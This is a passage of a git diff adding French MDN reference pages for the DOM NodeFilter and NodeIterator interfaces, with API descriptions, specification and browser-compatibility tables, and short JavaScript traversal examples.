+   <td>Valeur renvoyée par la méthode {{ domxref("NodeFilter.acceptNode()") }} quand un noeud doit être accepté .</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.FILTER_REJECT</code></td>
+   <td>Valeur à retourner par la méthode {{ domxref("NodeFilter.acceptNode()") }} quand le noeud doit être rejeté. Les enfants des noeuds rejetés ne sont pas visités par les objets {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }} ; cette valeur est traitée comme "ignorer ce noeud et tous ses enfants".</td>
+  </tr>
+  <tr>
+   <td><code>NodeFilter.FILTER_SKIP</code></td>
+   <td>Valeur à retourner par {{ domxref("NodeFilter.acceptNode()") }} pour que les noeuds soient ignorés par les objets {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }}. Les enfants des noeuds ignorés sont toujours considérés. Cela équivaut à "ignorer ce noeud mais pas ses enfants".</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La fonction doit renvoyer <code>NodeFilter.FILTER_ACCEPT</code> qui pousse le TreeWalker à renvoyer le noeud, <code>NodeFilter.FILTER_REJECT</code> qui contraint le TreeWalker à ignorer le sous-arbre entier ou <code>NodeFilter.FILTER_SKIP</code>.</p>
+
+<p><span id="result_box" lang="fr"><span>Le navigateur ne fournit aucun objet implémentant cette méthode.</span></span> C'est l'utilisateur qui doit écrire un objet implémentant l'interface {{domxref("NodeFilter")}}, adapter la méthode <code>acceptNode()</code> à ses besoins et l'utiliser avec un objet {{domxref("TreeWalker")}} ou {{domxref("NodeIterator")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>result<code> = </code></em><em>nodeFilter<code>.acceptNode(</code></em><em>node</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>est un {{domxref("Node")}} (noeud) qui doit être vérifié avec le filtre.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+  // Noeud à utiliser comme racine
+  document.getElementById('someId'),
+
+  // Considérer uniquement les nœuds qui sont des nœuds de texte (nodeType 3)
+  NodeFilter.SHOW_TEXT,
+
+  // Objet contenant la fonction à utiliser pour la méthode acceptNode du NodeFilter
+    { acceptNode: function(node) {
+      // Logique pour déterminer si accepter, rejeter ou ignorer le noeud
+      // dans ce cas, n'accepte que les noeuds ayant du contenu
+      // autres que les espaces
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Affiche le contenu de tous les noeuds texte non vides qui sont enfants de la racine
+var node;
+
+while ((node = iterator.nextNode())) {
+  alert(node.data);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#nodeFilter', 'NodeFilter.acceptNode()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Traversal_Range')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter.acceptNode()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeFilter.acceptNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeFilter")}}.</li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/fr/web/api/nodefilter/index.html b/files/fr/web/api/nodefilter/index.html
new file mode 100644
index 0000000000..7850b44bf7
--- /dev/null
+++ b/files/fr/web/api/nodefilter/index.html
@@ -0,0 +1,119 @@
+---
+title: NodeFilter
+slug: Web/API/NodeFilter
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Filtres
+  - Interface
+  - Itérateurs
+  - Noeuds
+translation_of: Web/API/NodeFilter
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Une interface <strong><code>NodeFilter</code></strong> représente un objet utilisé pour filtrer les noeuds dans un {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }}. Ils ne savent rien du DOM ni comment traverser les nœuds ; ils savent juste comment évaluer un seul noeud par rapport au filtre fourni.</p>
+
+<div class="note">
+<p>Le navigateur ne fournit aucun objet implémentant cette interface. C'est l'utilisateur qui doit en écrire un, en adaptant la méthode <code>acceptNode()</code> en fonction des besoins et en l'utilisant avec un objet {{domxref("TreeWalker")}} ou {{domxref("NodeIterator")}}.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface n'implémente ni n'hérite d'aucune propriété.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("NodeFilter.acceptNode()")}}</dt>
+ <dd>Renvoie un <code>unsigned short</code> (<em>non signé court</em>) qui sera utilisé pour dire si un {{domxref("Node")}} donné peut être accepté ou non par l'algorithme d'itération {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }}. Cette méthode doit être écrite par l'utilisateur du <code>NodeFilter</code>. Les valeurs retournées possibles sont :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constante</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_ACCEPT</code></td>
+    <td>Valeur renvoyée par la méthode {{ domxref("NodeFilter.acceptNode()") }} quand un noeud doit être accepté.</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_REJECT</code></td>
+    <td>Valeur à retourner par la méthode {{ domxref("NodeFilter.acceptNode()") }} quand le noeud doit être rejeté. Pour {{ domxref("TreeWalker") }}, les noeuds enfants sont aussi rejetés. Pour {{ domxref("NodeIterator") }}, cette option est équivalente à FILTER_SKIP.</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_SKIP</code></td>
+    <td>Valeur à retourner par {{ domxref("NodeFilter.acceptNode()") }} pour que les noeuds soient ignorés par {{ domxref("NodeIterator") }} ou {{ domxref("TreeWalker") }}. Les enfants des noeuds ignorés sont toujours considérés. Cela équivaut à "ignorer ce noeud mais pas ses enfants".</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+  // Noeud à utiliser comme racine
+  document.getElementById('someId'),
+
+  // Considérer uniquement les nœuds qui sont des nœuds de texte (nodeType 3)
+  NodeFilter.SHOW_TEXT,
+
+  // Objet contenant la fonction à utiliser pour la méthode acceptNode
+  // du NodeFilter
+    { acceptNode: function(node) {
+      // Logique pour déterminer si accepter, rejeter ou ignorer le noeud
+      // dans ce cas, n'accepte que les nœuds ayant du contenu
+      // autres que les espaces
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Affiche le contenu de tous les noeuds texte non vides qui sont enfants de la racine
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+  alert(node.data);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeFilter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Interfaces connexes : {{domxref("TreeWalker")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/detach/index.html b/files/fr/web/api/nodeiterator/detach/index.html
new file mode 100644
index 0000000000..5330650ab5
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/detach/index.html
@@ -0,0 +1,69 @@
+---
+title: NodeIterator.detach()
+slug: Web/API/NodeIterator/detach
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeIterator/detach
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>La méthode <strong><code>NodeIterator.detach()</code></strong> est une non opération, conservée seulement pour la rétro-compatibilité.</p>
+
+<p>Initialement, elle détachait {{domxref("NodeIterator")}} de l'ensemble sur lequel il itérait, libérant toutes les ressources utilisées par lui et basculant son état à <code>INVALID</code>. Une fois cette méthode utilisée, l'appel d'autres méthodes sur le <code>NodeIterator</code> déclenchait une exception <code>INVALID_STATE_ERR</code>. </p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeIterator</em>.detach();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+nodeIterator.detach(); // détache l'itérateur
+
+nodeIterator.nextNode(); // lance une exception INVALID_STATE_ERR
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-detach', 'NodeIterator.detach')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Transformation en non opération</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-detach', 'NodeIterator.detach')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.detach")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/expandentityreferences/index.html b/files/fr/web/api/nodeiterator/expandentityreferences/index.html
new file mode 100644
index 0000000000..bf1f66e25a
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/expandentityreferences/index.html
@@ -0,0 +1,68 @@
+---
+title: NodeIterator.expandEntityReferences
+slug: Web/API/NodeIterator/expandEntityReferences
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriété
+translation_of: Web/API/NodeIterator/expandEntityReferences
+---
+<p>{{APIRef("DOM")}} {{deprecated_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>NodeIterator.expandEntityReferences</strong></code> renvoie un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si les enfants des noeuds de référence d'entité sont visibles ou non pour le {{domxref("NodeIterator")}}.</p>
+
+<p>Si cette valeur est <code>false</code> (<em>faux</em>), les enfants des nœuds de référence d'entité (ainsi que tous leurs descendants) sont rejetés. Cela a préséance sur la valeur de la méthode  {{domxref("NodeIterator.whatToShow")}} et le filtre associé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>expand</em> = <em>nodeIterator</em>.expandEntityReferences;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+expand = nodeIterator.expandEntityReferences;</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#nodeiterator', 'NodeIterator')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Suppression de la spécification</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-expandEntityReferences', 'NodeIterator.expandEntityReferences')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div id="compat-desktop">
+
+
+<p>{{Compat("api.NodeIterator.expandEntityReferences")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>L'interface à laquelle cette propriété appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/filter/index.html b/files/fr/web/api/nodeiterator/filter/index.html
new file mode 100644
index 0000000000..d33a997c5a
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/filter/index.html
@@ -0,0 +1,66 @@
+---
+title: NodeIterator.filter
+slug: Web/API/NodeIterator/filter
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/NodeIterator/filter
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode en lecture seule <strong><code>NodeIterator.filter</code></strong> renvoie un objet {{domxref("NodeFilter")}}, c'est-à-dire un objet implémentant la méthode <code>acceptNode(<em>node</em>)</code>, utilisée pour filtrer les noeuds.</p>
+
+<p>Lors de la création du {{domxref("NodeIterator")}}, l'objet filtre est transmis en 3ème paramètre et l'objet méthode <code>acceptNode(<em>node</em>)</code> est appelé sur chaque noeud pour déterminer s'il doit ou non l'accepter. Cette fonction doit renvoyer la constante <code>NodeFilter.FILTER_ACCEPT</code> quand le noeud doit être accepté et <code>NodeFilter.FILTER_REJECT</code> s'il doit être rejeté.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>nodeFilter</em> = <em>nodeIterator</em>.filter;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+nodeFilter = nodeIterator.filter;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-filter', 'NodeIterator.filter')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Traversal_Range')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-filter', 'NodeIterator.filter')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.filter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface à laquelle cette propriété appartient : {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/index.html b/files/fr/web/api/nodeiterator/index.html
new file mode 100644
index 0000000000..eb98f4762d
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/index.html
@@ -0,0 +1,210 @@
+---
+title: NodeIterator
+slug: Web/API/NodeIterator
+tags:
+  - API
+  - DOM
+  - Itérateur
+  - Noeuds
+translation_of: Web/API/NodeIterator
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <strong><code>NodeIterator</code></strong> représente un itérateur pour les membres d'une liste des nœuds dans un sous-arbre du DOM. Les nœuds seront renvoyés dans l'ordre du document.</p>
+
+<p>Un <code>NodeIterator</code> peut être créé en utilisant la méthode {{domxref("Document.createNodeIterator()")}}, comme suit :</p>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(<em>root</em>, <em>whatToShow</em>, <em>filter</em>);</pre>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>L'interface n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("NodeIterator.root")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("Node")}} (<em>noeud</em>) représentant le noeud racine comme spécifié lors de la création du <code>NodeIterator</code>.</dd>
+ <dt>{{domxref("NodeIterator.whatToShow")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un <code>unsigned long</code> (<em>long non signé</em>), celui-ci étant un masque constitué de constantes décrivant les types de {{domxref("Node")}} (<em>noeud</em>) et devant être présenté. Les nœuds non correspondants sont ignorés, mais leurs enfants peuvent être inclus, le cas échéant. Les valeurs possibles sont :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constante</td>
+    <td class="header">Valeur numérique</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> (c'est la valeur numérique maximale du <code>unsigned long</code> (<em>non signé long</em>))</td>
+    <td>Affiche tous les noeuds.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{obsolete_inline}}</td>
+    <td><code>2</code></td>
+    <td>Affiche l'attribut {{domxref("Attr")}} des noeuds. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Attr")}} comme racine ; dans ce cas, cela signifie que le nœud d'attribut apparaîtra dans la première position de l'itération ou de la traversée. Comme les attributs ne sont jamais des enfants d'autres nœuds, ils n'apparaissent pas lors de la traversée de l'arbre du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{obsolete_inline}}</td>
+    <td><code>8</code></td>
+    <td>Affiche les noeuds {{domxref("CDATASection")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>Affiche les noeuds {{domxref("Comment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>Affiche les noeuds {{domxref("Document")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentFragment")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>Affiche les noeuds {{domxref("DocumentType")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>Affiche les noeuds {{domxref("Element")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{obsolete_inline}}</td>
+    <td><code>32</code></td>
+    <td>Affiche les noeuds {{domxref("Entity")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{ domxref("Entity") }} comme racine ; dans ce cas, il signifie que le noeud d'entité {{domxref("Entity") }} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{obsolete_inline}}</td>
+    <td><code>16</code></td>
+    <td>Affiche les noeuds {{domxref("EntityReference")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{obsolete_inline}}</td>
+    <td><code>2048</code></td>
+    <td>Affiche les noeuds {{domxref("Notation")}}. Cela n'a de sens que lors de la création d'un {{domxref("TreeWalker")}} avec un noeud {{domxref("Notation")}} comme racine ; dans ce cas, il signifie que le noeud {{domxref("Notation")}} apparaîtra à la première position de la traversée. Étant donné que les entités ne font pas partie de l'arborescence du document, elles n'apparaissent pas lors de la traversée de l'arborescence du document.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>Affiche les noeuds {{domxref("ProcessingInstruction")}}.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>Affiche les noeuds {{domxref("Text")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("NodeIterator.filter")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("NodeFilter")}} utilisé pour sélectionner les noeuds pertinents.</dd>
+ <dt>{{domxref("NodeIterator.expandEntityReferences")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>est un {{domxref("Boolean")}} (<em>booléen</em>) indiquant si, lors de la suppression d'une {{domxref("EntityReference")}}, tout son sous-arbre doit être supprimé en même temps.</dd>
+ <dt>{{domxref("NodeIterator.referenceNode")}} {{readonlyInline}} {{experimental_inline() }}</dt>
+ <dd>Renvoie le {{domxref("Node")}} (noeud) auquel l'itérateur est ancré.</dd>
+ <dt>{{domxref("NodeIterator.pointerBeforeReferenceNode")}} {{readonlyInline}} {{ experimental_inline() }}</dt>
+ <dd>Renvoie un {{domxref("Boolean")}} (<em>booléen</em>) qui indique si le {{domxref("NodeIterator")}} est ancré avant (<code>true</code> (<em>vrai</em>)) ou après (<code>false</code> (<em>faux</em>)) le noeud d'ancrage.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Cette interface n'hérite d'aucune méthode.</em></p>
+
+<dl>
+ <dt>{{domxref("NodeIterator.detach()")}} {{obsolete_inline()}}</dt>
+ <dd>Cette opération est une non opération. Elle ne fait rien. Auparavant, elle disait au moteur que le <code>NodeIterator</code> n'était plus utilisé, mais c'est maintenant inutile.</dd>
+ <dt>{{domxref("NodeIterator.previousNode()")}}</dt>
+ <dd>Renvoie le noeud {{domxref("Node")}} précédent dans le document ou <code>null</code> s'il n'y en a aucun.</dd>
+ <dt>{{domxref("NodeIterator.nextNode()")}}</dt>
+ <dd>Renvoie le noeud {{domxref("Node")}} suivant dans le  document ou <code>null</code> s'il n'y en a aucun.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#nodeiterator', 'NodeIterator')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Ajout des propriétés <code>referenceNode</code> et <code>pointerBeforeReferenceNode</code>.<br>
+    Suppression de la propriété <code>expandEntityReferences</code>.<br>
+    La méthode <code>detach()</code> a été modifiée pour être une non opération.<br>
+    Les méthodes <code>previousNode()</code> et <code>nextNode()</code> ne déclenchent plus d'exceptions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Iterator-overview', 'NodeIterator')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>3.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La méthode de création : {{domxref("Document.createNodeIterator()")}}.</li>
+ <li>Interfaces connexes : {{domxref("NodeFilter")}}, {{domxref("TreeWalker")}}.</li>
+</ul>
diff --git a/files/fr/web/api/nodeiterator/nextnode/index.html b/files/fr/web/api/nodeiterator/nextnode/index.html
new file mode 100644
index 0000000000..8c9b61982a
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/nextnode/index.html
@@ -0,0 +1,67 @@
+---
+title: NodeIterator.nextNode()
+slug: Web/API/NodeIterator/nextNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/NodeIterator/nextNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>NodeIterator.nextNode()</strong></code> renvoie le noeud suivant dans l'ensemble représenté par le {{domxref("NodeIterator")}} et avance la position de l'itérateur dans cet ensemble.  Le premier appel de <code>nextNode()</code> en renvoie le premier noeud.</p>
+
+<p>Cette méthode retourne <code>null</code> quand il n'y a plus de nœuds dans l'ensemble.</p>
+
+<p>Dans les navigateurs anciens, comme spécifié dans les anciennes version des spécifications, la méthode pouvait déclencher une {{domxref("DOMException")}}   <code>INVALID_STATE_ERR</code> si elle était appelée après la méthode {{domxref("NodeIterator.detach()")}}. Les navigateurs récents ne lancent rien.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>nodeIterator</em>.nextNode();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false // this optional argument is not used any more
+);
+currentNode = nodeIterator.nextNode(); // renvoie le noeud suivant.
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nodeiterator-nextnode', 'NodeIterator.nextNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Comme <code>detach()</code> est maintenant une méthode non opérante, cette méthode ne peut plus rien lancer.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeIterator-nextNode', 'NodeIterator.nextNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NodeIterator.nextNode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>L'interface à laquelle elle appartient : {{domxref("NodeIterator")}}.</p>
diff --git a/files/fr/web/api/nodeiterator/pointerbeforereferencenode/index.html b/files/fr/web/api/nodeiterator/pointerbeforereferencenode/index.html
new file mode 100644
index 0000000000..439bfe8df6
--- /dev/null
+++ b/files/fr/web/api/nodeiterator/pointerbeforereferencenode/index.html
@@ -0,0 +1,59 @@
+---
+title: NodeIterator.pointerBeforeReferenceNode
+slug: Web/API/NodeIterator/pointerBeforeReferenceNode
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Itérateur
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/NodeIterator/pointerBeforeReferenceNode
+---
+<p>{{APIRef("DOM")}} {{SeeCompatTable}}</p>
+
